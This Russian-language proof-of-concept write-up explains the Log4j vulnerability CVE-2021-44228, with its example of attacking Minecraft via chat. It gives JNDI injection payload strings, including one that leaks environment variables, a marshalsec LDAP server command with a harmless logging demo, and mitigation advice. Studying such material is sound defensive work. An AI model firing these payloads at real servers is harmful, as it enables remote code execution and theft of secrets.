
PoC уязвимости
CVE-2021-44228:
Эта уязвимость позволяет выполнять произвольный код при логировании вредоносного сообщения на целевой машине.
Например, вы можете использовать её в Minecraft, отправив сообщение в чат: сервер или машина игрока залогирует сообщение и выполнит ваш код.
Видео LiveOverflow/CVE-2021-44228
Сообщение должно содержать плейсхолдер ${} с инструкцией загрузить удалённый объект
через API jndi. Оно загрузит объект через ObjectFactory
ldap://x.x.x.x:port/...http://x.x.x.x/...dns://x.x.x/...${jndi:ldap://127.0.0.1:1389/#}
Если ObjectFactory отсутствует в клиенте, ничего не произойдёт.
Кроме резолвинга сервера.
С помощью этого можно утечь переменные окружения:
${jndi:ldap://127.0.0.1:1389/${env:java_home}}
почему так много хайпа?
Если я правильно понимаю, она предоставляет интерфейс к JNDI
Что можно эксплуатировать
JNDI JDAP — это API поиска объектов.
Вы можете получить Java-объект с сервера.
marshalsec/LDAPRefServer
Он отправляет данные объекта и имя ObjectFactory, который должен создать объект на клиенте.
Его можно эксплуатировать разными способами.
Если LDAP настроен доверять внешнему коду, нам нужно лишь указать URL вредоносного ObjectFactory.
com.sun.jndi.ldap.object.trustURLCodebase = true
Или есть другая уязвимость Java — JDK-8196902.
В сочетании с ней это действительно превращается в RCE.
На GitHub есть несколько POC-репозиториев, которые это делают. Например, tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
Если этот параметр установлен в false (по умолчанию он false), мы можем искать эксплуатируемый ObjectFactory в кодовой базе цели,
или эксплуатировать JNDI другим способом.
Дополнительное чтение об инъекциях JNDI:
Инъекция JNDI
Veracode Research/rogue-jndi
RCEExample — это функция, которая логирует вредоносное сообщение.
Просто нажмите run, чтобы запустить её...
LoggerFactory — это ObjectFactory, который логирует всё, что получает...
Если вы соберёте marshalsec, вы можете попросить его использовать LoggerFactory
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"rce.RCEExample и увидите эксплуатацию (логгер).LoggerFactory и посмотреть объекты.Ваша программа не уязвима, ЕСЛИ она логирует только встроенные сообщения.
Если программа может логировать текст из любого файла данных или из сети, она уязвима.
Но в любом случае вам стоит это исправить...
Лучшее, что вы можете сделать, — обновиться до Log4J2 2.15.0+.
Если по какой-то причине это невозможно, отключите поиск по JNDI с помощью следующего аргумента Java: ‐Dlog4j2.formatMsgNoLookups=True, чтобы смягчить уязвимость.
Если вы администратор сервера Minecraft, следуйте официальному руководству: ВАЖНОЕ СООБЩЕНИЕ: УЯЗВИМОСТЬ БЕЗОПАСНОСТИ В JAVA EDITION